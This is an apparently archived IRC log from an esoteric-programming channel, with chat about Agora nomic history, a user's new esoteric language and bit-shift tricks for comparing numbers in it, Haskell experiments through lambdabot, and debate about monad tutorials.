16:01:26 <MDude> That and the fact that if you have two areas that are connected by an edge, you can put points in the areas and draw connections that go through the edges.
16:01:39 <elliott> i think if it came down to only one graph being planar or not, the four colour theorem would have been proved a lot earlier.
16:02:14 <coppro> Agora needs "any linear combination of persons is a person"
16:02:57 <elliott> coppro: Are you mister snuggles?
16:03:23 <itidus21> what interests me in all this is how nintendo chips offered up 4 colours per tile region
16:04:41 <itidus21> because yeah.. thats what i'm like.. moving along
16:07:09 <elliott> coppro: A SUSPICIOUSLY SLOW response.
16:10:47 * oerjan conjectures that half of coppro is 1/3 of mr. snuggles.
16:13:48 -!- MDude has quit (Ping timeout: 244 seconds).
16:16:12 <elliott> oerjan: wait, are _you_ mister snuggles?
16:16:24 <elliott> ok, i dare you to email one of the lists saying you're mister snuggles.
16:16:31 -!- coppro has set topic: this channel is mister snuggles | http://codu.org/logs/_esoteric/.
16:17:43 <oerjan> elliott: i don't know, they haven't told me
16:18:37 <elliott> oerjan: you're already subscribed to the backup lists, right? i'll, uhhh
16:18:40 <elliott> give up sarcasm for a whole month
16:18:58 <elliott> and be unfailingly nice and patient
16:19:24 <oerjan> i'm subscribed to at least some of the backup lists, yes
16:20:39 <elliott> "I am mister snuggles" is the small price for my kindness :P
16:20:49 <oerjan> but that might be lying!
16:21:18 <oerjan> and besides, such a strict regime would probably kill you.
16:21:30 <elliott> i can assure you, there is no way anyone could possibly prove a statement like that true or false before everyone gets sick of it all.
16:21:43 <elliott> also, you're not a player, so there's nothing they can do other than not let you play :P
16:22:38 * oerjan notes that elliott seems to consider "no one can prove it" to have anything to do with whether to lie or not.
16:23:15 <elliott> anyway, it's not lying. mister snuggles does not claim to not be any player of agora
16:23:18 <fizzie> @tell MDude You don't need to have "n areas that all touch" to need n colors. There are (admittedly nonplanar) triangle-free graphs of arbitrarily high chromatic number, and the planar W_5 (the 5+1-node wheel; a 5-cycle with a hub) doesn't contain K_4 but needs all four colors.
16:23:23 <oerjan> as a staunch platonist back in my agora days...
16:23:45 <elliott> oerjan: pfft, it's all about neo-pragtonism these days
16:24:12 <elliott> oerjan: ok i would also settle for "I am not mister snuggles.", which has the added benefit of being factually correct.
16:24:32 <oerjan> but that might be lying!
16:24:55 <elliott> unless you have sent any emails from mr.snuglz@gmail.com in the past few months, it is not :P
16:25:26 <elliott> hey were you around for the mousetrap?
16:25:36 <oerjan> the name rings a bell.
16:25:40 <elliott> RocketJSquirrel: "A genius? A madman? A warlock? An emperor? A child? A hero?"
16:25:51 <elliott> RocketJSquirrel: I think "child".
16:26:04 <elliott> (^ LOOK AT THIS DARK WIT YOU COULD BE FORBIDDING ME FROM, OERJAN)
16:26:35 <elliott> RocketJSquirrel: I note that one (1) person has tweeted that thing alreaddy.
16:27:00 <elliott> oerjan: the mousetrap was that contract that bound people into it without agreeing to it.
16:27:03 <Phantom_Hoover> <oerjan> as a staunch platonist back in my agora days...
16:27:58 <elliott> tl;dr there is One True Gamestate in the sky, determined solely by application of the rules.
16:28:19 <elliott> The players must adhere to that gamestate or else be accused of playing Calvinball.
16:28:27 <elliott> Wait, why don't I just link you to the thesis.
16:28:54 <elliott> oerjan: fall 1995 was mousetrap it seems
16:28:58 <elliott> Phantom_Hoover: ftp://ftp.cse.unsw.edu.au/pub/users/malcolmr/nomic/articles/agora-theses/lib-vanyel.html
16:29:33 <elliott> that article reverses the definitions of platonism and pragmatism i am used to.
16:29:42 <elliott> "The most common source of debate seems to lie in the dichotomy between Platonist and Pragmatist interpretations. In the former case it may be assumed that if a Rule says an event shall occur, and doesn't, play can continue *as if* the event had happened as specified. In the Pragmatist view, however, any event which occurs late or not at all, or not as specified in the Rules, can not be retroactively "fixed"--one may only take the game state as i
16:29:42 <elliott> t is at the time, and try to work with what is there."
16:29:48 <elliott> oerjan: that's not the right definition of pragmatism at all, is it?
16:30:11 <elliott> it's the same thing, through a different lens
16:30:26 <oerjan> oh. i guess i was there then. i don't precisely remember more than the name.
16:31:08 <elliott> there is ftp://ftp.cse.unsw.edu.au/pub/users/malcolmr/nomic/articles/agora-theses/lib-swann.html if you require details :P
16:32:08 <elliott> THAT'S NOT THE RED ALERT PROCEDURE
16:32:11 <elliott> you're meant to ban everyone.
16:32:27 <elliott> Phantom_Hoover: BTW, read those two theses, Agoran lore is great.
16:32:41 <elliott> oerjan: oh, I'm sure I've asked this before, but I must while we're on the subject -- what do you know of U.N.D.E.A.D.?
16:32:47 <oerjan> well it _is_ pi day, he should be allowed to roam then. ancient custom.
16:32:57 <oerjan> rings a bell, nothing more.
16:33:05 <elliott> that's what everyone says. or maybe just you
16:39:57 <elliott> "Feelings were compounded by an even worse example of timing: A new Player registered in the middle of the post-revelation controversy, and attempted a similar scam before the Mousetrap Compact was itself revealed. E was assured that the Mousetrap forbade this, and the new Player began angrily accusing the members of the Threat of lying about the Mousetrap's priority, e submitted es own CFJs, and eventually deregistered in disgust."
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16:45:48 <fungot> kallisti: clearly yome hasn't been made yet. x_x my brother keeps on impersonating my on irc. none of the code
16:45:52 <fungot> kallisti: some people have the problem. if nothing else. :p no idea how
16:45:55 <fungot> kallisti: so i shouldn't expect that debian is any different from running lisp on the 370/ 158 stored its global environment in the world of warcraft
16:46:21 -!- kallisti has left.
16:47:05 <fungot> itidus21: i don't really care either way now.
16:48:45 -!- RocketJSquirrel has set topic: This is likely the most important thing you will read all day: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/.
16:49:12 <elliott> That was a peacefully short visit.
16:53:39 * oerjan somehow read that as necromantic style
16:54:04 -!- myname has joined.
16:54:16 <HackEgo> myname: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
16:54:40 <elliott> that's not myname, that's yourname
16:54:56 <myname> just had an idea for a language and thought i ask for opinions here
16:55:06 <myname> http://188.40.240.103/files/spagoto.txt
16:55:47 <elliott> oh, oerjan loves reviewing new languages
16:57:48 * oerjan swats elliott -----###
16:59:41 <Phantom_Hoover> So I actually finished my school chemistry experiment today, I never thought I had it in me.
17:02:25 <Phantom_Hoover> They'd be pretty useful on a theory-oriented programming wiki.
17:02:38 <elliott> I don't think that's what we have.
17:02:48 <oerjan> myname: i declare your language probably turing complete, assuming variables are unbounded.
17:03:03 <oerjan> (that _is_ my expertise, right?)
17:03:12 <elliott> Phantom_Hoover: Hey, I was going to do that.
17:03:31 <myname> i think it is, too, but i'm not sure
17:03:56 <elliott> oerjan: Or else I'll sysop you!
17:04:14 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wait, wat.
17:04:53 <oerjan> but it's my biggest fear _because_ of the stuff you're telling me to do in order to avoid it.
17:05:02 <oerjan> (also, it's not my biggest fear.)
17:05:26 <elliott> ok, i'll sysop you iff you fix [[graph]].
17:06:00 <oerjan> watattacatgacattaccaga
17:06:43 <elliott> I bet Phantom_Hoover will fix it wrong and I'll have to re-fix it.
17:07:59 <elliott> http://stackoverflow.com/questions/9706589/why-is-the-tail-call-optimization-not-used-in-this-haskell-program Do I have the energy... do I have the energy...
17:08:08 <elliott> Phantom_Hoover: attn. <tromp__> Happy Half-Tau Day!
17:09:37 <oerjan> assuming it's the same guy, he made this lambda calculus post recently
17:10:13 <elliott> he seems to have a knack for inappropriate venues to post things.
17:10:22 <elliott> (http://en.wikipedia.org/wiki/Binary_lambda_calculus is 100% OR)
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17:24:31 <Taneb> So, what's happening in the world of esoteric programming?
17:27:08 <oerjan> elliott has a _very_ short term memory.
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17:38:48 <myname> oerjan: i think i have to add a signum to my language - i don't see a way to compare values otherwise... do you?
17:39:36 <oerjan> myname: you can test the lower bits by shifting and subtracting
17:40:15 <myname> the question is: how to test the lower bits
17:41:33 <oerjan> b = a<<1 c=b<<-1 d=a-c
17:42:47 <oerjan> http://188.40.240.103/files/spagoto.txt
17:43:48 <Taneb> What happens if you attempt to read from E?
17:44:16 <myname> it's not yet implemented, bit i will throw a syntax error
17:44:32 <myname> (implementation should be fairly easy, i think)
17:44:45 <Taneb> It'd be nice if reading from JUMP tells you the line number.
17:44:57 <Taneb> Well, less nice and more making-sense
17:45:21 <oerjan> would make relative jumping easier
17:46:23 <myname> okay, so you change the last bit to 0
17:46:38 <myname> how does that help me for comparing 2 vars?
17:46:46 <oerjan> hm i have a hunch you need to consider exactly when JUMP is incremented on ordinary execution if you do that.
17:47:30 <oerjan> myname: you can check the difference in the lower bits. i agree this doesn't help with ordinary < comparison
17:48:11 <myname> as i said i thought of add something like k=i-j k=SIGN JUMP=6+k
17:48:34 <myname> so i will jump to line 5 if j > i, to 6 if they are equal and to 7 otherwise
17:48:49 <elliott> you don't necessarily need such comparisons
17:49:18 <oerjan> not for turing completeness, no
17:49:24 <elliott> sure. for instance I can extend Python with frobnicates, which are numbers that you can increment but not compare to each other
17:49:31 <Taneb> brainfuck, Underload, Lazy K do not have them
17:49:41 <elliott> that doesn't make the resulting language any less TC, because of this limitation :)
17:49:54 <elliott> you just need the absolute bare minimum to implement a turing-complete language
17:50:01 <myname> well, how do i write a programm that compares numbers then?
17:50:14 <oerjan> what you have is enough to treat a number as a stack of bits.
17:50:24 <myname> Taneb: brainfuck has a "is this var 0?" thing with []
17:50:30 <elliott> myname: by simulating the numbers as something else
17:50:38 <oerjan> which is enough for TC.
17:51:02 <Taneb> myname, "is this var 0?" is not "are these two vars the same?"
17:51:34 <oerjan> Taneb: he has subtraction already, so he can get one from the other
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17:51:35 <myname> Taneb: i could just decrement both vars and check if one ore both are zero at one point and have my comparison
17:52:10 <oerjan> but as it is now, i think comparing arbitrary numbers for equality is impossible.
17:52:13 <myname> i don't see how to compare without signum or zero-checking
17:52:40 <elliott> you don't need to compare the native numbers of the language
17:52:48 <elliott> as an analogy: brainfuck's integers are usually fixed-size
17:52:55 <elliott> however you can write algorithms on arbitrary-size integers by encoding them in the tape
17:53:06 <elliott> similarly, you might be able to write a program to compare two integers _encoded_ differently in the integers of your language
17:53:09 <elliott> by using simpler operations
17:53:11 <oerjan> there is boolfuck, which has _only_ bits.
17:54:02 <myname> i'll have to think of this
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17:54:17 <myname> if i can't find a way i'll just go with SIGN
17:54:30 <elliott> Don't worry, oerjan will think of a way for you.
17:55:22 <oerjan> i'm pretty sure you cannot do it without encoding the numbers.
17:57:24 <oerjan> hm no. there will always be some possibility that there is a very high significance bit you haven't checked yet.
18:00:16 <oerjan> x<<(1-x) can be used to check if a positive number is 1 or 2.
18:01:47 <oerjan> 1<<x is 0 if x is negative, positive otherwise.
18:01:59 <oerjan> myname: you can construct comparisons from this.
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18:03:50 <oerjan> (2+(1<<x))<<(-1-(1<<x)). hopefully that can be simplified :P
18:04:37 <lambdabot> Data.Bits shift :: Bits a => a -> Int -> a
18:04:37 <lambdabot> Data.Bits shiftL :: Bits a => a -> Int -> a
18:04:37 <lambdabot> Data.Bits shiftR :: Bits a => a -> Int -> a
18:05:01 <oerjan> > map (1 `shiftL`) [-2..2]
18:05:02 <lambdabot> Ambiguous type variable `t' in the constraint:
18:05:10 <oerjan> > map (1 `shiftL`) [-2..2] :: [Integer]
18:05:31 <oerjan> fine, haskell's shiftL works the same way
18:06:15 <oerjan> > let (<<) = shiftL in [(2+(1<<x))<<(-1-(1<<x)) | x <- [-10..10::Integer]]
18:06:16 <lambdabot> Couldn't match expected type `GHC.Types.Int'
18:07:01 <oerjan> > let x << y = shiftL x y in [(2+(1<<x))<<(-1-(1<<x)) | x <- [-10..10::Integer]]
18:07:02 <lambdabot> Couldn't match expected type `GHC.Types.Int'
18:07:33 <oerjan> why, - does not make a section
18:09:06 <oerjan> WHO IS SABOTAGING THE EXPERIMENT
18:10:00 <oerjan> oh wait that doesn't give a response?
18:10:20 <oerjan> > let (<<) = shiftL in [(2+(1<<x))<<(-1-(1<<x)) | x <- [-10..10::Integer]]
18:10:21 <lambdabot> Couldn't match expected type `GHC.Types.Int'
18:11:01 <oerjan> > let x << y = shiftL x (fromIntegral y) in [(2+(1<<x))<<(-1-(1<<x)) | x <- [-10..10::Integer]]
18:11:02 <lambdabot> Ambiguous type variable `t' in the constraint:
18:11:32 <myname> why don't you just try (-1)-
18:11:41 <oerjan> elliott: second argument is Int
18:11:41 <elliott> myname: that's not the problem
18:11:55 <lambdabot> forall a. (Bits a) => a -> Int -> a
18:12:01 <elliott> :t \x y -> shiftL x (fromIntegral y)
18:12:02 <lambdabot> forall a a1. (Integral a1, Bits a) => a -> a1 -> a
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18:12:17 <oerjan> > let x << y = shiftL (x::Integer) (fromIntegral y) in [(2+(1<<x))<<(-1-(1<<x)) | x <- [-10..10::Integer]]
18:12:17 <lambdabot> [1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0]
18:12:57 <oerjan> myname: mind you this method is going to give some huge numbers
18:14:28 <myname> well, depending on the language of choice for writing the interpreter, that's not such a big deal
18:14:45 <elliott> it depends on your definition of "big".
18:14:53 <elliott> oerjan has a ph.d. his definition of "big" is very big indeed.
18:15:08 <oerjan> well i don't think this is _quite_ ackermann size :P
18:15:17 <elliott> oerjan: so _how_ inaccessible will the cardinals be, eh:?
18:15:45 <oerjan> 1<<x is 2^x if x is positive.
18:16:02 <elliott> Bad Functional Programmer Band Names #893434: Inaccessible Cardinals
18:16:07 <myname> well, ruby for example has infinitely large integers (just like haskell should have, but obviously you have some downsides here)
18:16:32 <oerjan> myname: haskell Integer is bignum.
18:16:35 <elliott> Anyway, how big the integer type is is irrelevant if they won't fit into any RAM money can buy.
18:16:48 <myname> oerjan: yeah, but shiftL wants an int
18:16:55 <oerjan> indeed. if x is already big you've got a problem.
18:17:11 <elliott> (Inaccessible Cardinals must, of course, dress the part when performing.)
18:17:20 <oerjan> myname: well that's presumably because they didn't bother to support results that won't fit in memory.
18:18:38 <oerjan> i think you could construct a representation for this that won't blow up like that, though.
18:19:18 <oerjan> by having a sum-of-powers-of-2 representation for huge cases
18:20:05 <oerjan> reminds me of cantor normal form (which are for cardinals, although mostly accessible ones)
18:20:11 <elliott> i have to say, i did not expect the theory here to be interesting.
18:21:09 <oerjan> you can make cantor normal form with base 2, although omega is more useful for actually getting to the infinite ones.
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18:23:55 <myname> maybe i'll have to write an interpreter for this to check if my signum based on that bitshifting monster is valid :D
18:26:04 <oerjan> > let x << y = shiftL (x::Integer) (fromIntegral y) in [x<<(1-x) | x <- [0..10::Integer]]
18:26:05 <lambdabot> [0,1,1,0,0,0,0,0,0,0,0]
18:27:47 <oerjan> i just tested one of the pieces of this
18:28:20 <myname> the result kind of confuses me
18:28:44 <oerjan> x<<(1-x) is 1 for x 1 or 2, but 0 for any other nonnegative number
18:47:54 <myname> well, tried a signum implementation and added it as example
18:47:58 <myname> have to test that later
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19:47:11 <Taneb> I'm gonna hovercraft for a bit
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19:47:27 <oerjan> wait what does that mean, actually
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19:51:03 <itidus21> I have been smithing hovers since, a long time ago.
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19:51:44 <itidus21> i just want to get the most out of it
19:52:11 <olsner> itidus21: no, go ahead, we can share the line
19:52:58 <itidus21> Actually I am not a hoversmith, although I did attend the hoversmith guild annual meeting this year.
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19:53:56 <itidus21> There is this young upstart who thinks he may have discovered proof of the existence of subhovers.
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19:58:00 <lambdabot> ap ((`ap` tail) . (. head) . (const .) . (,) . head) tail
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20:00:17 <oerjan> :t head &&& (!!1) -- /me swats Taneb|Hovercraft for leaving during the demonstration -----###
20:00:55 <olsner> while crafting the hovers you can't always be present on IRC, apparently
20:01:25 <oerjan> UNACCEP43)%Y¤#NO CARRIER
20:01:49 <olsner> can you do it with unsafeCoerce?
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20:06:52 <olsner> maybe I should draw a bath
20:07:00 <HackEgo> 821) <oklofok> you tell us you're making a lisp interpreter, but you don't mention its polterchrist is c++ templates? <oklofok> isn't that like telling us you're taking a bath and not mentioning you're bathing in a WORLD FULL OF SNAKES
20:08:06 <oerjan> i am starting to wonder if oklofok is crossing over into the cthulhu mythos.
20:08:54 <olsner> more like a resident there who occasionally crosses over to our realm
20:16:13 <olsner> trending twitter topics in Sweden (translated): when, sounds, for, why, "oh"
20:16:45 <olsner> seems to be relying on tweets being in english or something
20:17:21 <oerjan> när ljudar för varför, "å"?
20:18:11 <olsner> när låter för varför jaså
20:18:39 <olsner> also håller, but that has too many fuzzy meanings to bother translating
20:20:23 <olsner> another meaning, similar to sound as in "to utter audibly, pronounce, or express: to sound each letter."
20:21:08 <oerjan> lyder and låter may have slightly different meanings in norwegian.
20:21:12 <olsner> plural of the noun sound would be ljud (it's the same in plural and singular)
20:21:44 <oerjan> right, i was guessing the gender wrong
20:22:39 <oerjan> it's masculine in norwegian
20:23:01 <olsner> no idea what it is in swedish, it's just irregular :)
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20:58:02 <myname> http://188.40.240.103/files/spagoto.rb should work as an implementation, but my second example seems to be wrong :D
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21:08:20 <RocketJSquirrel> I'm the only IOCCC entry with a cleanly-indented submission X-D
21:09:09 <oerjan> i guess that only increases the horrificness
21:09:30 <RocketJSquirrel> I decided it was ballsy to not bother with that particular obfuscation.
21:09:47 <RocketJSquirrel> And the judges comments still amount to "We have no idea why this works, but it does."
21:09:48 <olsner> oh, the source for the winners is still not public
21:10:23 <oerjan> running a reformatter is probably the first step they apply anyhow
21:11:02 <Taneb> I decided to try some Haskell Golf the other day
21:11:13 <Taneb> import Random;main=newStdGen>>=putStr.randomRs('!','~')
21:11:21 <RocketJSquirrel> oerjan: But one of these entries in particular has absolutely beautiful crazysauce source :)
21:12:25 <Taneb> Prints an endless sequence of ASCII printing characters
21:15:48 <RocketJSquirrel> Still, I think being the only one with well-indented source makes me a different breed of winner.
21:16:39 <oerjan> myname: your when "JUMP" will match JUMP as a _part_ of the string, which will break on "JUMP-c" and such
21:21:57 <myname> i'll clean my signum implementation up a bit by abusing the ability to JUMP=JUMP-0-x
21:22:40 <myname> i also forgot to add 48 before IOing
21:26:38 <oerjan> myname: does your interpreter do what you want for NOP=IO ?
21:27:21 <myname> i could remove NOP, it was just an idea to handle otherwise empty lines
21:27:53 <oerjan> oh so it's really a comment marker?
21:28:28 <myname> but since everything after the first space is a comment, it's not really necessary
21:29:14 <myname> i'm a bit confused about the result of
21:30:19 <oerjan> well it probably asks per line, but reads per char?
21:30:51 <myname> i'll try that later, it should be a ruby issue
21:30:54 * oerjan doesn't _actually_ know ruby
21:31:13 <oerjan> but it seems easy to guess most of it from the languages i know
21:31:38 <myname> ruby is really easy to read imo
21:35:02 <kmc> @where zalgo
21:35:02 <lambdabot> import Random;main=mapM_((>>(י=<<randomRIO('̀','ͯ'))).י)=<<getContents;י=putChar
21:35:03 <kmc> Taneb, ^^^^
21:35:46 <Taneb> Mine's... shorter?
21:35:53 <kmc> mine... does something completely different
21:36:30 <kmc> ruby is easy to read as long as your intuition agrees with that of every library author regarding all manner of unstated conventions
21:38:50 <kmc> if you give rails a class named 'Child' it will look for a DB table named 'children'
21:38:59 <kmc> to do this, it has a big list of irregular English plurals
21:39:17 <kmc> and of course there are some errors in the list, but they can't be changed now!
21:40:30 <kmc> i dislike this kind of thing because 'grep' is like my main tool for understanding code
21:40:48 <kmc> if there's a table named 'children' and I grep the code for that name and don't find it...
21:41:27 <myname> well yeah, but don't curse a language because of a popular framework
21:41:40 <myname> e.g. php sucks, but smarty sucks even more
21:42:17 <kmc> rails is hardly the only ruby library with this philosophy
21:43:20 <Taneb> I really need to learn more programming languages
21:43:32 <Taneb> Ruby is about 10th on my list to learn
21:43:51 <Taneb> I may never get past 3
21:44:42 <myname> whenever i think "hey, let's learn a new language" i come up with "well, why the fuck do i even need another one?"
21:45:16 <kmc> Ruby and Rails are pretty well intertwined as far as history and destiny
21:45:36 <myname> never ever used rails for anything
21:47:13 <monqy> myname: bad attitude
21:47:14 <Taneb> My order goes Haskell -> C -> Lisp -> Inform 7 -> Java -> Perl -> Objective C for use on iOS -> Some ML language -> JavaScript -> PHP -> Ruby
21:47:39 <Taneb> (subject to change)
21:47:44 <myname> i always wanted to learn perl for the single purpose of being exactly as old as it
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21:48:02 <Taneb> COBOL's sorta floating about somewhere, too
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21:48:13 <kmc> there's some quote (which escapes me) to the effect that learning a new programming language is only worthwhile if it gives you a new way to think
21:48:45 <Taneb> kmc: I always forget the old way...
21:49:01 <myname> kmc: that's the main reason i learned befunge
21:49:38 <kmc> for most programmers Haskell, C, and Lisp are all promising on that front
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21:49:58 <kmc> C won't teach you "how the machine really works" but it will teach you a layer which is hidden by most languages
21:49:59 <myname> haskell is nice as long as you don't have to use monads
21:50:54 <myname> i don't understand that question
21:51:02 <Ngevd> Monads are easy when you get the hang of them
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21:51:26 <kmc> Lisp will teach you that "never, ever repeat yourself" is an achievable goal, and that it's not always good for readability
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21:51:37 <monqy> myname: what don't you like about monads? they aren't the best thing, sure, but it's not like they're really hard to use or anything
21:51:55 <Taneb> They've got a pretty bad rep
21:51:56 <monqy> monads are severely overhyped as being difficult
21:51:59 <monqy> they really aren't at all
21:52:02 <Taneb> But it's undeserved
21:53:22 <myname> okay, my signum works now
21:53:41 <Taneb> Basically, monads are like monads
21:54:16 <Taneb> You just need to forget they're there and before you know it, you're using them all the time.
21:55:40 <oerjan> lower=tlb<<tlc that whole thing is a (2+(1<<x))<<(-1-(1<<x)) - thanks to oerjan <-- i'm not convinced your parser treats the last part there as a comment
21:56:02 <monqy> itidus21: ??? do you know this from experience or is this a wild guess
21:56:44 <Taneb> itidus one day was walking along the beach when he thought: "hmm... a function can be used as the input to another function"
21:56:48 <oerjan> myname: oh wait, found it
21:56:57 <myname> oerjan: it just splits at " "
21:57:24 <Taneb> I've got a friend who's planning on moving to Sweden.
21:57:38 <Taneb> Completely off-topic, I know, but...
21:58:02 <Taneb> There is at least one swede who frequents this channel?
21:58:20 <oerjan> those pesky root vegetables
21:58:51 <myname> txt file updated with working signum
22:02:27 <oerjan> > let x << y = shiftL (x::Integer) (fromIntegral y) in [x<<(2-x) | x <- [0..10::Integer]]
22:02:28 <lambdabot> [0,2,2,1,1,0,0,0,0,0,0]
22:02:55 <myname> you still think of ways to optimize that bitshifting part?
22:03:04 <oerjan> i was just wondering if you could get a three-way test shorter
22:03:44 <myname> i didn't even recheck what it does :p
22:03:53 <myname> the results were enough
22:08:45 <oerjan> i see - is officially right associative now :P
22:09:30 <myname> easiest case to implement without downsides
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22:28:59 <zzo38> Another programming language worth to learn is Forth, I think
22:29:40 <zzo38> It is also worth to learn Haskell, C, and Lisp
22:30:14 <oerjan> i also don't think anyone mentioned Prolog
22:31:12 <zzo38> myname: I can explain my view of monads. But you should learn a endofunctor at first, before trying to understand monads. At least, that is how I understood it best.
22:31:38 <myname> what is an endofunctor?
22:31:57 <HackEgo> Endofunctors are just endomorphisms in the category of categories.
22:32:26 <HackEgo> Monads are just monoids in the category of endofunctors.
22:32:37 <zzo38> myname: Notice the Haskell typeclass: class Functor f where { fmap :: (a -> b) -> f a -> f b; };
22:33:15 <zzo38> It must follow the law: fmap id = id; fmap f . fmap g = fmap (f . g); An example would be useful. One example is a list: fmap succ [1,2,4] = [2,3,5]
22:33:43 <myname> and the advantage to map succ [1,2,4] is...?
22:34:01 <ion> map can be thought of just fmap specialized to lists.
22:34:06 <zzo38> myname: I am simply explaining the use of a mathematical structure
22:34:26 <myname> ion: that kinda makes sense
22:35:13 <oerjan> back in the glorious days of Haskell 1.4, map _was_ fmap.
22:35:36 <myname> so... should i give "hello world" a try in my little experiment?
22:35:39 <zzo38> A monad has two additional operations (although the Haskell typeclass for Monad is defined badly): return :: a -> m a; join :: m (m a) -> m a; Which again must follow certain laws (in mathematics, return is usually called eta and join is called mu).
22:36:20 <zzo38> A list is also a monad: return makes a single element list, and join makes a list of list flatten to a list. Example: return 5 = [5] join [[5,6,7],[9,100,1000,10000],[2]] = [5,6,7,9,100,1000,10000,2]
22:36:35 <zzo38> And there is >>= which is like: x >>= f = join (fmap f x);
22:36:45 <zzo38> Which is convenient in many cases.
22:36:48 <myname> maybe that whole mathematic based stuff in haskell shouldn't be explained on the first semester
22:37:14 <oerjan> myname: zzo38 has his own views of many things.
22:37:59 <zzo38> It is also possible to define a monad in terms of >>= (and Haskell unfortunately requires you to): fmap f x = x >>= return . f; join x = x >>= id;
22:38:26 * myname puts his hands over his ears
22:39:49 <oerjan> <myname> so... should i give "hello world" a try in my little experiment? <-- that _should_ be rather trivial, shouldn't it?
22:40:35 <oerjan> zzo38: i don't think myname is the right level of audience for this.
22:41:01 <zzo38> oerjan: Well, you cannot learn monads without this.
22:41:43 <myname> oerjan: well, i could just do a bunch of IO=, indeed
22:41:47 <shachaf> I don't think "learning monads" is a particularly useful goal.
22:43:09 <oerjan> zzo38: you cannot learn to _design_ monads without this, maybe. using them is quite possible.
22:43:28 <zzo38> Monads is a useful thing in Haskell especially since the I/O is based on working of monads.
22:43:37 <myname> well, everything depends on what the prof wants to know *g*
22:46:18 <myname> "proof that the following made monad follows the laws of monads"
22:46:19 <zzo38> IO is also monad. fmap applies a function to the result of the I/O. return makes a I/O action of doing nothing, and always resulting in the same value (instead of determining the result by user input or whatever). join means if the result is another I/O action, the resulting action will be executed after the one that resulted in it. >>= will apply a function to the result to determine the action to do next.
22:46:35 <zzo38> So then you might understand a code like this: main = getLine >>= putStrLn;
22:46:49 <oerjan> myname: oh you've had haskell in class?
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22:47:30 <myname> it's an interesting language and i like much of it's aspects
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22:50:17 <zzo38> There are some things I dislike about Haskell which is why I try to design my own, where one thing is Haskell's "fmap" is now called "map" in mine, and various other differences too in how kinds work and typeclasses and macros and so on.
22:57:18 <oerjan> myname: you might look at http://esolangs.org/wiki/Popular_problem
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23:00:51 * oerjan suddenly realizes myname is part of the recent "same first three letters as a regular nick" invasion
23:02:08 <kmc> cool, a monad tutorial
23:03:00 <kmc> monadum delenda est
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23:19:58 <RocketJSquirrel> RocketJSquirrel is unique at three characters, but ambiguous at two :(
23:22:49 * kmc sighs with shachaf
23:23:28 <pikhq_> Monad tutorials are like burritos.
23:24:13 <Phantom_Hoover> pikhq_ is beating a joke into the ground to see if he can get a bit of humour out of it.
23:25:31 <ais523> ooh, Yahoo! Mail's POP thing started working again
23:25:46 <pikhq_> ais523: ... You still have Yahoo! Mail?
23:25:49 <oerjan> only 185 of which are spam!
23:26:00 <ais523> pikhq_: "still"? I joined it relatively recently
23:26:22 <ais523> oerjan: actually, few are, I don't receive much spam on that account
23:26:25 <pikhq_> I see ais523 is computing like it's 1998.
23:26:29 <ais523> and the spam filter has more false-positives than true positives
23:26:42 <ais523> pikhq_: I distrust them the least out of the three major webmail providers
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23:27:35 <pikhq_> Okay, true, your greatest risk with Yahoo! is that they terminate the service and throw everything away.
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23:28:08 <ais523> pikhq_: indeed, and I don't use it for long-term storage of anything
23:28:16 <myname> or they lose all their money fighting facebook
23:29:50 <RocketJSquirrel> Monad tutorials are like bad analogies: They do little to illustrate anything usefully, and yet allow the author to maintain an undeserved sense of smug superiority.
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23:30:04 <pikhq_> TIL that was an excess flood.
23:30:12 <ais523> isn't the /main/ purpose of monad tutorials to annoy elliott?
23:30:17 -!- Gregor has changed nick to RocketJSquirrel.
23:30:44 <oerjan> ais523: shhh, that's secret!
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23:30:50 <monqy> does eliot still logread
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23:31:31 <pikhq_> And more importantly, he actually comes in!
23:31:55 <zzo38> Do you think monad tutorials are like burritos? I think my description of monad seems reasonable at least to me it does; but perhaps other people prefer a different one or none at all, or multiple ones.
23:32:14 <pikhq_> zzo38: No, just riffing on the meme "monads are like burritos".
23:32:52 <zzo38> Yes, I know; but, which monad tutorials do you prefer (if any)?
23:33:17 <zzo38> Can you make "where is my keys" soup?
23:34:46 <myname> i prefer monat tutorials like buttiros, delicious if it comes in, but what's left is just poo
23:37:52 <kmc> @remember myname i prefer monat tutorials like buttiros, delicious if it comes in, but what's left is just poo
23:38:02 <kmc> buttiros -- worst breakfast cereal ever
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23:56:55 <kmc> <zzo38> ... I think my description of monad seems reasonable at least to me it does
23:57:02 <kmc> http://byorgey.wordpress.com/2009/01/12/abstraction-intuition-and-the-monad-tutorial-fallacy/
23:57:39 <kmc> not to say your explanation is bad, just that it making sense to you is not much evidence either way
00:01:44 <shachaf> You can take kmc out of #haskell, but you can't take #haskell out of kmc('s surroundings).
00:03:04 <zzo38> I have read that already
00:03:17 <RocketJSquirrel> Apparently there was a 90's American/Canadian cartoon series called "The Peer Pressure Show for Kids"
00:03:32 <RocketJSquirrel> I find the title amazing, but can't find any other information on it.
00:08:56 <pikhq_> And I certainly didn't see it.
00:09:41 <RocketJSquirrel> It's also possible that somebody snuck it into a list as a joke, and it's just a phantom show that's floated about the interwebs ever since.
00:10:30 <kmc> the altered state of drugachusetts
00:11:03 <zzo38> At least, I understand monads better by seeing >>= as a shortcut to use fmap and join together; other people might understand it better the other way around.
00:12:03 <myname> i understanf a >>= b as x = a; b x
00:12:14 <zzo38> Still, Kleisli morphisms is another valid way to do it.
00:12:17 <shachaf> zzo38: But nobody understands Barrier Monads better than you.
00:13:00 <zzo38> shachaf: Much later after designing Barrier monad, I discovered, on paper, that it is really the free monad of the indexed store comonad.
00:13:55 <zzo38> myname: Yes it is the same as do { x <- a; b x; } in case you prefer to think of it like that; but I don't like do-notation.
00:15:06 <zzo38> myname: That doesn't make sense.
00:15:53 <shachaf> myname: "<-" is part of do-notation; it's meaningless on its own.
00:18:32 <oerjan> beware the ides of march
00:22:32 <pikhq_> That championofbirds interview is quite strange.
00:24:45 <zzo38> I invented some optional rules for D&D, where there is an age penalty for being resurrected, and which the alignment entries in creature stat blocks are only superstition (with a few exceptions: angels, demons, devils, normal animals with NN align, and nongood mindless undead).
00:25:12 <zzo38> Using both of these rules makes the game more interesting in my opinion.
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01:33:32 <RocketJSquirrel> I have come to the tragic conclusion that The Peer Pressure Show for Kids does not actually exist.
